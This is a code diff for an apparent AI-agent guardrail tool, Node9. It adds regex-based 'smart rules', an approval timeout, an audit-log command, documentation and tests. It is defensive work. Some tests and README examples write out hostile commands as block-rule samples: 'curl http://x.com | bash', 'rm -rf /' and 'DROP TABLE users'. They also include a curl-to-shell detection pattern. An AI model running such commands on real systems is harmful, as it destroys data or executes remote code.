diff --git a/README.md b/README.md index 131a6cd..5295a48 100644 --- a/README.md +++ b/README.md @@ -130,6 +130,7 @@ Rules are **merged additive**—you cannot "un-danger" a word locally if it was "settings": { "mode": "standard", "enableUndo": true, + "approvalTimeoutMs": 30000, "approvers": { "native": true, "browser": true, @@ -144,13 +145,152 @@ Rules are **merged additive**—you cannot "un-danger" a word locally if it was "toolInspection": { "bash": "command", "postgres:query": "sql" - } + }, + "rules": [ + { "action": "rm", "allowPaths": ["**/node_modules/**", "dist/**"] }, + { "action": "push", "blockPaths": ["**"] } + ], + "smartRules": [ + { + "name": "no-delete-without-where", + "tool": "*", + "conditions": [ + { "field": "sql", "op": "matches", "value": "^(DELETE|UPDATE)\\s", "flags": "i" }, + { "field": "sql", "op": "notMatches", "value": "\\bWHERE\\b", "flags": "i" } + ], + "verdict": "review", + "reason": "DELETE/UPDATE without WHERE — would affect every row" + } + ] } } ``` +### ⚙️ `settings` options + +| Key | Default | Description | +| :------------------- | :----------- | :----------------------------------------------------------- | +| `mode` | `"standard"` | `standard` \| `strict` \| `audit` | +| `enableUndo` | `true` | Take git snapshots before every AI file edit | +| `approvalTimeoutMs` | `0` | Auto-deny after N ms if no human responds (0 = wait forever) | +| `approvers.native` | `true` | OS-native popup | +| `approvers.browser` | `true` | Browser dashboard (`node9 daemon`) | +| `approvers.cloud` | `true` | Slack / SaaS approval | +| `approvers.terminal` | `true` | `[Y/n]` prompt in terminal | + +### 🧠 Smart Rules + +Smart rules match on **raw tool arguments** using structured conditions — more powerful than `dangerousWords` or `rules`, which only see extracted tokens. + +```json +{ + "name": "curl-pipe-to-shell", + "tool": "bash", + "conditions": [{ "field": "command", "op": "matches", "value": "curl.+\\|.*(bash|sh)" }], + "verdict": "block", + "reason": "curl piped to shell — remote code execution risk" +} +``` + +**Fields:** + +| Field | Description | +| :-------------- | :----------------------------------------------------------------------------------- | +| `tool` | Tool name or glob (`"bash"`, `"mcp__postgres__*"`, `"*"`) | +| `conditions` | Array of conditions evaluated against the raw args object | +| `conditionMode` | `"all"` (AND, default) or `"any"` (OR) | +| `verdict` | `"review"` (approval prompt) \| `"block"` (hard deny) \| `"allow"` (skip all checks) | +| `reason` | Human-readable explanation shown in the approval prompt and audit log | + +**Condition operators:** + +| `op` | Meaning | +| :------------ | :------------------------------------------------------------------ | +| `matches` | Field value matches regex (`value` = pattern, `flags` = e.g. `"i"`) | +| `notMatches` | Field value does not match regex | +| `contains` | Field value contains substring | +| `notContains` | Field value does not contain substring | +| `exists` | Field is present and non-empty | +| `notExists` | Field is absent or empty | + +The `field` key supports dot-notation for nested args: `"params.query.sql"`. + +**Built-in default smart rule** (always active, no config needed): + +```json +{ + "name": "no-delete-without-where", + "tool": "*", + "conditions": [ + { "field": "sql", "op": "matches", "value": "^(DELETE|UPDATE)\\s", "flags": "i" }, + { "field": "sql", "op": "notMatches", "value": "\\bWHERE\\b", "flags": "i" } + ], + "verdict": "review", + "reason": "DELETE/UPDATE without WHERE clause — would affect every row in the table" +} +``` + +Use `node9 explain ` to dry-run any tool call and see exactly which smart rule (or other policy tier) would trigger. + --- +## 🖥️ CLI Reference + +| Command | Description | +| :---------------------------- | :------------------------------------------------------------------------------------ | +| `node9 setup` | Interactive menu — detects installed agents and wires hooks for you | +| `node9 addto ` | Wire hooks for a specific agent (`claude`, `gemini`, `cursor`) | +| `node9 init` | Create default `~/.node9/config.json` | +| `node9 status` | Show current protection status and active rules | +| `node9 doctor` | Health check — verifies binaries, config, credentials, and all agent hooks | +| `node9 explain [args]` | Trace the policy waterfall for a given tool call (dry-run, no approval prompt) | +| `node9 undo [--steps N]` | Revert the last N AI file edits using shadow Git snapshots | +| `node9 check` | Called by agent hooks; evaluates a pending tool call and exits 0 (allow) or 1 (block) | + +### `node9 doctor` + +Runs a full self-test and exits 1 if any required check fails: + +``` +Node9 Doctor v1.2.0 +──────────────────────────────────────── +Binaries + ✅ Node.js v20.11.0 + ✅ git version 2.43.0 + +Configuration + ✅ ~/.node9/config.json found and valid + ✅ ~/.node9/credentials.json — cloud credentials found + +Agent Hooks + ✅ Claude Code — PreToolUse hook active + ⚠️ Gemini CLI — not configured (optional) + ⚠️ Cursor — not configured (optional) + +──────────────────────────────────────── +All checks passed ✅ +``` + +### `node9 explain` + +Dry-runs the policy engine and prints exactly which rule (or waterfall tier) would block or allow a given tool call — useful for debugging your config: + +```bash +node9 explain bash '{"command":"rm -rf /tmp/build"}' +``` + +``` +Policy Waterfall for: bash +────────────────────────────────────────────── +Tier 1 · Cloud Org Policy SKIP (no org policy loaded) +Tier 2 · Dangerous Words BLOCK ← matched "rm -rf" +Tier 3 · Path Block – +Tier 4 · Inline Exec – +Tier 5 · Rule Match – +────────────────────────────────────────────── +Verdict: BLOCK (dangerous word: rm -rf) +``` + --- ## 🖥️ CLI Reference @@ -242,4 +382,4 @@ A corporate policy has locked this action. You must click the "Approve" button i ## 🏢 Enterprise & Compliance Node9 Pro provides **Governance Locking**, **SAML/SSO**, and **VPC Deployment**. -Visit [node9.ai](https://node9.ai +Visit [node9.ai](https://node9.ai) diff --git a/src/__tests__/core.test.ts b/src/__tests__/core.test.ts index a0635a6..d19a6ef 100644 --- a/src/__tests__/core.test.ts +++ b/src/__tests__/core.test.ts @@ -38,6 +38,7 @@ import { _resetConfigCache, getPersistentDecision, isDaemonRunning, + evaluateSmartConditions, } from '../core.js'; // Global spies @@ -435,6 +436,312 @@ describe('authorizeHeadless — persistent decisions', () => { // ── isDaemonRunning ─────────────────────────────────────────────────────────── +// ── evaluateSmartConditions (unit) ──────────────────────────────────────────── + +describe('evaluateSmartConditions', () => { + const makeRule = ( + conditions: Parameters[1]['conditions'], + conditionMode?: 'all' | 'any' + ) => ({ + tool: '*', + verdict: 'review' as const, + conditions, + conditionMode, + }); + + it('returns true when conditions array is empty', () => { + expect(evaluateSmartConditions({ sql: 'SELECT 1' }, makeRule([]))).toBe(true); + }); + + it('returns false when args is not an object', () => { + expect(evaluateSmartConditions(null, makeRule([{ field: 'sql', op: 'exists' }]))).toBe(false); + expect(evaluateSmartConditions('string', makeRule([{ field: 'sql', op: 'exists' }]))).toBe( + false + ); + }); + + describe('op: exists / notExists', () => { + it('exists — returns true when field is present and non-empty', () => { + expect( + evaluateSmartConditions({ sql: 'SELECT 1' }, makeRule([{ field: 'sql', op: 'exists' }])) + ).toBe(true); + }); + it('exists — returns false when field is missing', () => { + expect(evaluateSmartConditions({}, makeRule([{ field: 'sql', op: 'exists' }]))).toBe(false); + }); + it('notExists — returns true when field is missing', () => { + expect(evaluateSmartConditions({}, makeRule([{ field: 'sql', op: 'notExists' }]))).toBe(true); + }); + it('notExists — returns false when field is present', () => { + expect( + evaluateSmartConditions({ sql: 'x' }, makeRule([{ field: 'sql', op: 'notExists' }])) + ).toBe(false); + }); + }); + + describe('op: contains / notContains', () => { + it('contains — matches substring', () => { + expect( + evaluateSmartConditions( + { cmd: 'npm run build' }, + makeRule([{ field: 'cmd', op: 'contains', value: 'npm' }]) + ) + ).toBe(true); + }); + it('contains — fails when substring absent', () => { + expect( + evaluateSmartConditions( + { cmd: 'yarn build' }, + makeRule([{ field: 'cmd', op: 'contains', value: 'npm' }]) + ) + ).toBe(false); + }); + it('notContains — true when substring absent', () => { + expect( + evaluateSmartConditions( + { cmd: 'yarn build' }, + makeRule([{ field: 'cmd', op: 'notContains', value: 'npm' }]) + ) + ).toBe(true); + }); + }); + + describe('op: matches / notMatches', () => { + it('matches — regex hit', () => { + expect( + evaluateSmartConditions( + { sql: 'DELETE FROM users' }, + makeRule([{ field: 'sql', op: 'matches', value: '^DELETE', flags: 'i' }]) + ) + ).toBe(true); + }); + it('matches — regex miss', () => { + expect( + evaluateSmartConditions( + { sql: 'SELECT * FROM users' }, + makeRule([{ field: 'sql', op: 'matches', value: '^DELETE', flags: 'i' }]) + ) + ).toBe(false); + }); + it('notMatches — true when regex does not match', () => { + expect( + evaluateSmartConditions( + { sql: 'SELECT 1' }, + makeRule([{ field: 'sql', op: 'notMatches', value: '\\bWHERE\\b', flags: 'i' }]) + ) + ).toBe(true); + }); + it('notMatches — false when regex matches', () => { + expect( + evaluateSmartConditions( + { sql: 'DELETE FROM t WHERE id=1' }, + makeRule([{ field: 'sql', op: 'notMatches', value: '\\bWHERE\\b', flags: 'i' }]) + ) + ).toBe(false); + }); + it('normalizes whitespace before matching', () => { + // Double-space SQL should still be caught + expect( + evaluateSmartConditions( + { sql: 'DELETE FROM users' }, + makeRule([{ field: 'sql', op: 'matches', value: '^DELETE\\s+FROM', flags: 'i' }]) + ) + ).toBe(true); + }); + it('returns false for invalid regex (does not throw)', () => { + expect( + evaluateSmartConditions( + { sql: 'x' }, + makeRule([{ field: 'sql', op: 'matches', value: '[invalid(' }]) + ) + ).toBe(false); + }); + }); + + describe('conditionMode', () => { + it('"all" — requires every condition to pass', () => { + const rule = makeRule( + [ + { field: 'sql', op: 'matches', value: '^DELETE', flags: 'i' }, + { field: 'sql', op: 'notMatches', value: '\\bWHERE\\b', flags: 'i' }, + ], + 'all' + ); + expect(evaluateSmartConditions({ sql: 'DELETE FROM users' }, rule)).toBe(true); + expect(evaluateSmartConditions({ sql: 'DELETE FROM users WHERE id=1' }, rule)).toBe(false); + }); + it('"any" — requires at least one condition to pass', () => { + const rule = makeRule( + [ + { field: 'sql', op: 'matches', value: '^DROP', flags: 'i' }, + { field: 'sql', op: 'matches', value: '^TRUNCATE', flags: 'i' }, + ], + 'any' + ); + expect(evaluateSmartConditions({ sql: 'DROP TABLE users' }, rule)).toBe(true); + expect(evaluateSmartConditions({ sql: 'TRUNCATE orders' }, rule)).toBe(true); + expect(evaluateSmartConditions({ sql: 'SELECT 1' }, rule)).toBe(false); + }); + }); + + describe('dot-notation field paths', () => { + it('accesses nested fields', () => { + expect( + evaluateSmartConditions( + { params: { query: { sql: 'DELETE FROM t' } } }, + makeRule([{ field: 'params.query.sql', op: 'matches', value: '^DELETE', flags: 'i' }]) + ) + ).toBe(true); + }); + it('returns false when nested path does not exist', () => { + expect( + evaluateSmartConditions( + { params: {} }, + makeRule([{ field: 'params.query.sql', op: 'exists' }]) + ) + ).toBe(false); + }); + }); +}); + +// ── evaluatePolicy — smart rules integration ────────────────────────────────── + +describe('evaluatePolicy — smart rules', () => { + it('default smart rule flags DELETE without WHERE as review', async () => { + const result = await evaluatePolicy('execute_sql', { sql: 'DELETE FROM users' }); + expect(result.decision).toBe('review'); + expect(result.blockedByLabel).toMatch(/no-delete-without-where/); + }); + + it('default smart rule flags UPDATE without WHERE as review', async () => { + const result = await evaluatePolicy('execute_sql', { sql: 'UPDATE users SET active=0' }); + expect(result.decision).toBe('review'); + }); + + it('default smart rule allows DELETE with WHERE', async () => { + const result = await evaluatePolicy('execute_sql', { sql: 'DELETE FROM orders WHERE id=1' }); + expect(result.decision).toBe('allow'); + }); + + it('custom smart rule verdict:block returns block decision', async () => { + mockProjectConfig({ + policy: { + smartRules: [ + { + name: 'no-curl-pipe', + tool: 'bash', + conditions: [ + { field: 'command', op: 'matches', value: 'curl.+\\|.*(bash|sh)', flags: 'i' }, + ], + verdict: 'block', + reason: 'curl piped to shell', + }, + ], + }, + }); + const result = await evaluatePolicy('bash', { command: 'curl http://x.com | bash' }); + expect(result.decision).toBe('block'); + expect(result.reason).toMatch(/curl piped to shell/); + }); + + it('custom smart rule verdict:allow short-circuits all further checks', async () => { + mockProjectConfig({ + policy: { + dangerousWords: ['drop'], + smartRules: [ + { + tool: 'safe_drop', + conditions: [{ field: 'table', op: 'matches', value: '^temp_' }], + verdict: 'allow', + }, + ], + }, + }); + // "drop" is a dangerous word but the smart rule allows it for temp_ tables + const result = await evaluatePolicy('safe_drop', { table: 'temp_build_cache' }); + expect(result.decision).toBe('allow'); + }); + + it('smart rule with glob tool pattern matches correctly', async () => { + mockProjectConfig({ + policy: { + smartRules: [ + { + tool: 'mcp__postgres__*', + conditions: [{ field: 'sql', op: 'matches', value: '^DROP', flags: 'i' }], + verdict: 'block', + }, + ], + }, + }); + const result = await evaluatePolicy('mcp__postgres__query', { sql: 'DROP TABLE users' }); + expect(result.decision).toBe('block'); + }); + + it('smart rule does not match different tool', async () => { + mockProjectConfig({ + policy: { + smartRules: [ + { + tool: 'bash', + conditions: [{ field: 'command', op: 'matches', value: 'rm -rf' }], + verdict: 'block', + }, + ], + }, + }); + // Tool is 'shell', not 'bash' — rule should not match + const result = await evaluatePolicy('shell', { command: 'rm -rf /tmp/old' }); + // Falls through to normal policy — /tmp/ is in sandboxPaths so it's allowed + expect(result.decision).toBe('allow'); + }); + + it('user smartRules are appended to defaults (both active)', async () => { + mockProjectConfig({ + policy: { + smartRules: [ + { + name: 'block-drop', + tool: '*', + conditions: [{ field: 'sql', op: 'matches', value: '^DROP', flags: 'i' }], + verdict: 'block', + }, + ], + }, + }); + // Default rule still active (DELETE without WHERE) + const deleteResult = await evaluatePolicy('any_tool', { sql: 'DELETE FROM users' }); + expect(deleteResult.decision).toBe('review'); + + // Project rule also active (DROP) + const dropResult = await evaluatePolicy('any_tool', { sql: 'DROP TABLE users' }); + expect(dropResult.decision).toBe('block'); + }); +}); + +// ── authorizeHeadless — smart rule hard block ───────────────────────────────── + +describe('authorizeHeadless — smart rule hard block', () => { + it('returns approved:false without invoking race engine for block verdict', async () => { + mockProjectConfig({ + policy: { + smartRules: [ + { + tool: 'bash', + conditions: [{ field: 'command', op: 'matches', value: 'rm -rf /' }], + verdict: 'block', + reason: 'root wipe blocked', + }, + ], + }, + }); + const result = await authorizeHeadless('bash', { command: 'rm -rf /' }); + expect(result.approved).toBe(false); + expect(result.reason).toMatch(/root wipe blocked/); + expect(result.blockedBy).toBe('local-config'); + }); +}); + describe('isDaemonRunning', () => { it('returns false when PID file does not exist', () => { // existsSpy returns false (set in beforeEach) diff --git a/src/cli.ts b/src/cli.ts index ffc6bc6..075f946 100644 --- a/src/cli.ts +++ b/src/cli.ts @@ -690,7 +690,97 @@ program ); }); -// 4. STATUS (Upgraded to show Waterfall & Undo status) +// 4. AUDIT +function formatRelativeTime(timestamp: string): string { + const diff = Date.now() - new Date(timestamp).getTime(); + const sec = Math.floor(diff / 1000); + if (sec < 60) return `${sec}s ago`; + const min = Math.floor(sec / 60); + if (min < 60) return `${min}m ago`; + const hrs = Math.floor(min / 60); + if (hrs < 24) return `${hrs}h ago`; + return new Date(timestamp).toLocaleDateString(); +} + +program + .command('audit') + .description('View local execution audit log') + .option('--tail ', 'Number of entries to show', '20') + .option('--tool ', 'Filter by tool name (substring match)') + .option('--deny', 'Show only denied actions') + .option('--json', 'Output raw JSON') + .action((options: { tail: string; tool?: string; deny?: boolean; json?: boolean }) => { + const logPath = path.join(os.homedir(), '.node9', 'audit.log'); + if (!fs.existsSync(logPath)) { + console.log( + chalk.yellow('No audit logs found. Run node9 with an agent to generate entries.') + ); + return; + } + + const raw = fs.readFileSync(logPath, 'utf-8'); + const lines = raw.split('\n').filter((l) => l.trim() !== ''); + + let entries = lines.flatMap((line) => { + try { + return [JSON.parse(line)]; + } catch { + return []; + } + }); + + // Normalize decision field — some older entries use "allowed"/"denied" + entries = entries.map((e) => ({ + ...e, + decision: String(e.decision).startsWith('allow') ? 'allow' : 'deny', + })); + + if (options.tool) entries = entries.filter((e) => String(e.tool).includes(options.tool!)); + if (options.deny) entries = entries.filter((e) => e.decision === 'deny'); + + const limit = Math.max(1, parseInt(options.tail, 10) || 20); + entries = entries.slice(-limit); + + if (options.json) { + console.log(JSON.stringify(entries, null, 2)); + return; + } + + if (entries.length === 0) { + console.log(chalk.yellow('No matching audit entries.')); + return; + } + + console.log( + `\n ${chalk.bold('Node9 Audit Log')} ${chalk.dim(`(${entries.length} entries)`)}` + ); + console.log(chalk.dim(' ' + '─'.repeat(65))); + console.log( + ` ${'Time'.padEnd(12)} ${'Tool'.padEnd(18)} ${'Result'.padEnd(10)} ${'By'.padEnd(15)} Agent` + ); + console.log(chalk.dim(' ' + '─'.repeat(65))); + + for (const e of entries) { + const time = formatRelativeTime(String(e.ts)).padEnd(12); + const tool = String(e.tool).slice(0, 17).padEnd(18); + const result = + e.decision === 'allow' ? chalk.green('ALLOW'.padEnd(10)) : chalk.red('DENY'.padEnd(10)); + const checker = String(e.checkedBy || 'unknown') + .slice(0, 14) + .padEnd(15); + const agent = String(e.agent || 'unknown'); + console.log(` ${time} ${tool} ${result} ${checker} ${agent}`); + } + + const allowed = entries.filter((e) => e.decision === 'allow').length; + const denied = entries.filter((e) => e.decision === 'deny').length; + console.log(chalk.dim(' ' + '─'.repeat(65))); + console.log( + ` ${entries.length} entries | ${chalk.green(allowed + ' allowed')} | ${chalk.red(denied + ' denied')}\n` + ); + }); + +// 5. STATUS (Upgraded to show Waterfall & Undo status) program .command('status') .description('Show current Node9 mode, policy source, and persistent decisions') diff --git a/src/core.ts b/src/core.ts index fdb7b03..cc36cff 100644 --- a/src/core.ts +++ b/src/core.ts @@ -180,6 +180,67 @@ function getNestedValue(obj: unknown, path: string): unknown { .reduce((prev, curr) => (prev as Record)?.[curr], obj); } +// ── SMART RULES EVALUATOR ───────────────────────────────────────────────────── + +export interface SmartCondition { + field: string; + op: 'matches' | 'notMatches' | 'contains' | 'notContains' | 'exists' | 'notExists'; + value?: string; + flags?: string; +} + +export interface SmartRule { + name?: string; + tool: string; + conditions: SmartCondition[]; + conditionMode?: 'all' | 'any'; + verdict: 'allow' | 'review' | 'block'; + reason?: string; +} + +export function evaluateSmartConditions(args: unknown, rule: SmartRule): boolean { + if (!rule.conditions || rule.conditions.length === 0) return true; + const mode = rule.conditionMode ?? 'all'; + + const results = rule.conditions.map((cond) => { + const rawVal = getNestedValue(args, cond.field); + // Normalize whitespace so multi-space SQL doesn't bypass regex checks + const val = + rawVal !== null && rawVal !== undefined ? String(rawVal).replace(/\s+/g, ' ').trim() : null; + + switch (cond.op) { + case 'exists': + return val !== null && val !== ''; + case 'notExists': + return val === null || val === ''; + case 'contains': + return val !== null && cond.value ? val.includes(cond.value) : false; + case 'notContains': + return val !== null && cond.value ? !val.includes(cond.value) : true; + case 'matches': { + if (val === null || !cond.value) return false; + try { + return new RegExp(cond.value, cond.flags ?? '').test(val); + } catch { + return false; + } + } + case 'notMatches': { + if (val === null || !cond.value) return true; + try { + return !new RegExp(cond.value, cond.flags ?? '').test(val); + } catch { + return true; + } + } + default: + return false; + } + }); + + return mode === 'any' ? results.some((r) => r) : results.every((r) => r); +} + function extractShellCommand( toolName: string, args: unknown, @@ -341,6 +402,7 @@ interface Config { autoStartDaemon?: boolean; enableUndo?: boolean; enableHookLogDebug?: boolean; + approvalTimeoutMs?: number; approvers: { native: boolean; browser: boolean; cloud: boolean; terminal: boolean }; environment?: string; }; @@ -350,6 +412,7 @@ interface Config { ignoredTools: string[]; toolInspection: Record; rules: PolicyRule[]; + smartRules: SmartRule[]; }; environments: Record; } @@ -390,6 +453,7 @@ export const DEFAULT_CONFIG: Config = { autoStartDaemon: true, enableUndo: true, // 🔥 ALWAYS TRUE BY DEFAULT for the safety net enableHookLogDebug: false, + approvalTimeoutMs: 0, // 0 = disabled; set e.g. 30000 for 30-second auto-deny approvers: { native: true, browser: true, cloud: true, terminal: true }, }, policy: { @@ -439,6 +503,19 @@ export const DEFAULT_CONFIG: Config = { ], }, ], + smartRules: [ + { + name: 'no-delete-without-where', + tool: '*', + conditions: [ + { field: 'sql', op: 'matches', value: '^(DELETE|UPDATE)\\s', flags: 'i' }, + { field: 'sql', op: 'notMatches', value: '\\bWHERE\\b', flags: 'i' }, + ], + conditionMode: 'all', + verdict: 'review', + reason: 'DELETE/UPDATE without WHERE clause — would affect every row in the table', + }, + ], }, environments: {}, }; @@ -517,13 +594,28 @@ function getInternalToken(): string | null { export async function evaluatePolicy( toolName: string, args?: unknown, - agent?: string // NEW: Added agent metadata parameter -): Promise<{ decision: 'allow' | 'review'; blockedByLabel?: string }> { + agent?: string +): Promise<{ decision: 'allow' | 'review' | 'block'; blockedByLabel?: string; reason?: string }> { const config = getConfig(); // 1. Ignored tools (Fast Path) - Always allow these first if (matchesPattern(toolName, config.policy.ignoredTools)) return { decision: 'allow' }; + // 2. Smart Rules — raw args matching before tokenization + if (config.policy.smartRules.length > 0) { + const matchedRule = config.policy.smartRules.find( + (rule) => matchesPattern(toolName, rule.tool) && evaluateSmartConditions(args, rule) + ); + if (matchedRule) { + if (matchedRule.verdict === 'allow') return { decision: 'allow' }; + return { + decision: matchedRule.verdict, + blockedByLabel: `Smart Rule: ${matchedRule.name ?? matchedRule.tool}`, + reason: matchedRule.reason, + }; + } + } + let allTokens: string[] = []; let actionTokens: string[] = []; let pathTokens: string[] = []; @@ -542,12 +634,9 @@ export async function evaluatePolicy( return { decision: 'review', blockedByLabel: 'Node9 Standard (Inline Execution)' }; } - // SQL-aware check: flag DELETE/UPDATE without WHERE, allow scoped mutations + // Strip DML keywords from tokens so user dangerousWords like "delete"/"update" + // don't re-flag a SQL query that already passed the smart rules check above. if (isSqlTool(toolName, config.policy.toolInspection)) { - const sqlDanger = checkDangerousSql(shellCommand); - if (sqlDanger) return { decision: 'review', blockedByLabel: `SQL Safety: ${sqlDanger}` }; - // Safe SQL — strip DML keywords from tokens so user dangerousWords - // like "delete"/"update" don't re-flag an already-validated query. allTokens = allTokens.filter((t) => !SQL_DML_KEYWORDS.has(t.toLowerCase())); actionTokens = actionTokens.filter((t) => !SQL_DML_KEYWORDS.has(t.toLowerCase())); } @@ -658,7 +747,7 @@ export async function evaluatePolicy( export interface ExplainStep { name: string; - outcome: 'checked' | 'allow' | 'review' | 'skip'; + outcome: 'checked' | 'allow' | 'review' | 'block' | 'skip'; detail: string; isFinal?: boolean; } @@ -676,7 +765,7 @@ export interface ExplainResult { args: unknown; waterfall: WaterfallTier[]; steps: ExplainStep[]; - decision: 'allow' | 'review'; + decision: 'allow' | 'review' | 'block'; blockedByLabel?: string; matchedToken?: string; } @@ -742,7 +831,47 @@ export async function explainPolicy(toolName: string, args?: unknown): Promise 0) { + const matchedRule = config.policy.smartRules.find( + (rule) => matchesPattern(toolName, rule.tool) && evaluateSmartConditions(args, rule) + ); + if (matchedRule) { + const label = `Smart Rule: ${matchedRule.name ?? matchedRule.tool}`; + if (matchedRule.verdict === 'allow') { + steps.push({ + name: 'Smart rules', + outcome: 'allow', + detail: `${label} → allow`, + isFinal: true, + }); + return { tool: toolName, args, waterfall, steps, decision: 'allow' }; + } + steps.push({ + name: 'Smart rules', + outcome: matchedRule.verdict, + detail: `${label} → ${matchedRule.verdict}${matchedRule.reason ? `: ${matchedRule.reason}` : ''}`, + isFinal: true, + }); + return { + tool: toolName, + args, + waterfall, + steps, + decision: matchedRule.verdict, + blockedByLabel: label, + }; + } + steps.push({ + name: 'Smart rules', + outcome: 'checked', + detail: `No smart rule matched "${toolName}"`, + }); + } else { + steps.push({ name: 'Smart rules', outcome: 'skip', detail: 'No smart rules configured' }); + } + + // ── 3. Input parsing ────────────────────────────────────────────────────── let allTokens: string[] = []; let actionTokens: string[] = []; let pathTokens: string[] = []; @@ -787,32 +916,16 @@ export async function explainPolicy(toolName: string, args?: unknown): Promise !SQL_DML_KEYWORDS.has(t.toLowerCase())); actionTokens = actionTokens.filter((t) => !SQL_DML_KEYWORDS.has(t.toLowerCase())); steps.push({ - name: 'SQL safety', + name: 'SQL token stripping', outcome: 'checked', - detail: 'DELETE/UPDATE have a WHERE clause — scoped mutation, safe', + detail: 'DML keywords stripped from tokens (SQL safety handled by smart rules)', }); } } else { @@ -1141,7 +1254,8 @@ export interface AuthResult { | 'persistent-deny' | 'local-config' | 'local-decision' - | 'no-approval-mechanism'; + | 'no-approval-mechanism' + | 'timeout'; changeHint?: string; checkedBy?: | 'cloud' @@ -1225,6 +1339,17 @@ export async function authorizeHeadless( return { approved: true, checkedBy: 'local-policy' }; } + // Hard block from smart rules — skip the race engine entirely + if (policyResult.decision === 'block') { + if (!isManual) appendLocalAudit(toolName, args, 'deny', 'smart-rule-block', meta); + return { + approved: false, + reason: policyResult.reason ?? 'Action explicitly blocked by Smart Policy.', + blockedBy: 'local-config', + blockedByLabel: policyResult.blockedByLabel, + }; + } + explainableLabel = policyResult.blockedByLabel || 'Local Config'; const persistent = getPersistentDecision(toolName); @@ -1316,6 +1441,27 @@ export async function authorizeHeadless( const { signal } = abortController; const racePromises: Promise[] = []; + // ⏱️ RACER 0: Approval Timeout + const approvalTimeoutMs = config.settings.approvalTimeoutMs ?? 0; + if (approvalTimeoutMs > 0) { + racePromises.push( + new Promise((resolve, reject) => { + const timer = setTimeout(() => { + resolve({ + approved: false, + reason: `No human response within ${approvalTimeoutMs / 1000}s — auto-denied by timeout policy.`, + blockedBy: 'timeout', + blockedByLabel: 'Approval Timeout', + }); + }, approvalTimeoutMs); + signal.addEventListener('abort', () => { + clearTimeout(timer); + reject(new Error('Aborted')); + }); + }) + ); + } + let viewerId: string | null = null; const internalToken = getInternalToken(); @@ -1588,6 +1734,7 @@ export function getConfig(): Config { ignoredTools: [...DEFAULT_CONFIG.policy.ignoredTools], toolInspection: { ...DEFAULT_CONFIG.policy.toolInspection }, rules: [...DEFAULT_CONFIG.policy.rules], + smartRules: [...DEFAULT_CONFIG.policy.smartRules], }; const applyLayer = (source: Record | null) => { @@ -1611,6 +1758,7 @@ export function getConfig(): Config { if (p.toolInspection) mergedPolicy.toolInspection = { ...mergedPolicy.toolInspection, ...p.toolInspection }; if (p.rules) mergedPolicy.rules.push(...p.rules); + if (p.smartRules) mergedPolicy.smartRules.push(...p.smartRules); }; applyLayer(globalConfig);